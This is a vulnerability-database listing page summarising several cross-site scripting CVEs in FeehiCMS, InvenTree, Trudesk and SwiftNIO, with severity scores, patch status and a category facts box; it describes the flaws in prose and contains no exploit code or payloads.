NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

FeehiCMS v2.1.1 was discovered to contain a cross-site scripting (XSS) vulnerability via a crafted payload injected into the Comment box under the Single Page module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Feehicms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository inventree/inventree prior to 0.8.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Inventree
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Reflected XSS on ticket filter function in GitHub repository polonel/trudesk prior to 1.2.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Trudesk
NVD GitHub
EPSS 1% CVSS 7.5
HIGH This Week

NIOHTTP1 and projects using it for generating HTTP responses can be subject to a HTTP Response Injection attack. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Swiftnio
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39223

Related CWEs

MITRE ATT&CK

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